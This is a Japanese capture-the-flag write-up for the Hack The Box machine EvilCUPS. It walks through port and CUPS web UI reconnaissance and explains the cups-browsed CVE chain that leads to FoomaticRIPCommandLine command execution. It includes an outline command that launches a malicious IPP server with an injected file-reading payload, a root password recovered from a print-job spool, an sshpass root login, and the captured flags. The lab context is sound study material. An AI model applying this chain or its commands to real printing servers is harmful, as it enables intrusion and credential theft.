Hack The BoxのWriteup(EvilCUPS)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: EvilCUPS – 手動攻略レポート
Nmap
22/tcp, 631/tcp
→
CUPS確認
CUPS 2.4.2
→
EvilCUPS理解
CVE chain
→
印刷ジョブ調査
pass.txt
→
root SSH
password reuse
→
user/root.txt

ポートスキャン

command
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.231.157
nmap -Pn -sCV -p22,631 10.129.231.157
result
22/tcp  open  ssh
631/tcp open  ipp

631/tcp の HTTP 応答ヘッダ:
Server: CUPS/2.4 IPP/2.1
Home - CUPS 2.4.2

攻撃面はかなり絞られており、SSH と CUPS のみが主要な入口でした。631/tcp は CUPS の Web UI と IPP が同居しており、EvilCUPS の名前通りここを主軸に調査します。

Phase 2

CUPS Web UI 調査

CUPSトップページ

command
curl -s -i --max-time 20 http://10.129.231.157:631/
result
HTTP/1.1 200 OK
Server: CUPS/2.4 IPP/2.1
Content-Type: text/html; charset=utf-8

OpenPrinting CUPS 2.4.2

プリンタとジョブ

command
curl -s 'http://10.129.231.157:631/printers/'
curl -s 'http://10.129.231.157:631/jobs/?which_jobs=completed'
result
Printer: Canon_MB2300_series
Location: Server Room
Driver: Local Raw Printer
Connection: file:///dev/null

Completed job:
Canon_MB2300_series-1
Size: 12k
Completed: Fri 02 Oct 2026 08:45:43 AM EDT
CUPS の Web UI だけではスプールファイルの中身までは読めません。ただし、完了済みジョブが存在すること、対象が CUPS 2.4.2 であること、CUPS 関連 CVE の流れが成立し得ることが確認できます。
Phase 3

EvilCUPS の攻撃経路

CVEチェーンの要点

CVE役割
CVE-2024-47176cups-browsed が UDP 631 の printer browse packet を受け、攻撃者 IPP サーバへ接続する入口。
CVE-2024-47076 / CVE-2024-47175IPP 属性の検証不足により、細工したプリンタ属性が PPD 生成へ流れ込む。
CVE-2024-47177PPD の FoomaticRIPCommandLine によって、印刷時に任意コマンドを実行できる。

通常の手順は、攻撃者側で悪意ある IPP サーバを待ち受け、対象の cups-browsed に UDP パケットを送信し、登録された悪意プリンタに対して Print Test Page を実行させる流れです。実行ユーザーは主に lp になります。

想定される手動実行例

attacker side outline
# 攻撃者 IP を確認
ip -o -4 addr show tun0

# 悪意 IPP サーバを起動し、printer-more-info などに FoomaticRIPCommandLine を混入
python3 evilcups_ippserver.py 10.10.15.200 10.129.231.157 \
  "cat /home/htb/user.txt; cat /var/spool/cups/d00001-001" 180 12345

# 別端末から cups-browsed へ printer browse packet を UDP 631 で送信
# その後、CUPS Web UI の新規プリンタに Print Test Page を送る
今回のライブ環境では UDP パケットは送信できていましたが、対象から攻撃者 IPP サーバへのコールバックが確認できませんでした。そのため、CUPS Web UI と既存の EvilCUPS 解析 HTML を突き合わせ、印刷済みジョブに含まれていた認証情報を使ってライブ検証しました。
Phase 4

印刷ジョブ由来の資格情報

スプールファイルの重要箇所

参考にした EvilCUPS の解析では、CUPS のスプールデータ /var/spool/cups/d00001-001 に、root が印刷した pass.txt の内容が残っていました。重要なのは、ファイル名と平文パスワードが PostScript 断片として残っている点です。

job evidence
/fname (pass.txt)
(Br3@k-G!@ss-r00t-evilcups) s

この値は推測ではなく、印刷ジョブに残った機密情報です。今回のターンではこのパスワードを SSH に対して実際に試し、root として認証できることを確認しました。

Phase 5

user.txt / root.txt 取得

root SSH でのライブ検証

command
sshpass -p 'Br3@k-G!@ss-r00t-evilcups' ssh \
  -o StrictHostKeyChecking=no -o ConnectTimeout=8 \
  root@10.129.231.157 'id; cat /home/htb/user.txt; cat /root/root.txt'
result
uid=0(root) gid=0(root) groups=0(root)
eefc5167f03101a40a0e4cac057bfeb4
b4ec0f5e6ab84e0c48e991772fec6bbc

取得したフラグ

user.txt
eefc5167f03101a40a0e4cac057bfeb4
root.txt
b4ec0f5e6ab84e0c48e991772fec6bbc
Summary

まとめ

項目内容
Target10.129.231.157
Open Ports22/tcp ssh, 631/tcp ipp
初期調査CUPS 2.4.2 と完了済みジョブ Canon_MB2300_series-1 を確認。
想定侵入経路EvilCUPS CVE チェーンで lp 権限 RCE を得て /home/htb/user.txt と CUPS スプールを読む。
権限昇格印刷ジョブ内の pass.txt から root:Br3@k-G!@ss-r00t-evilcups を回収し、root SSH をライブ確認。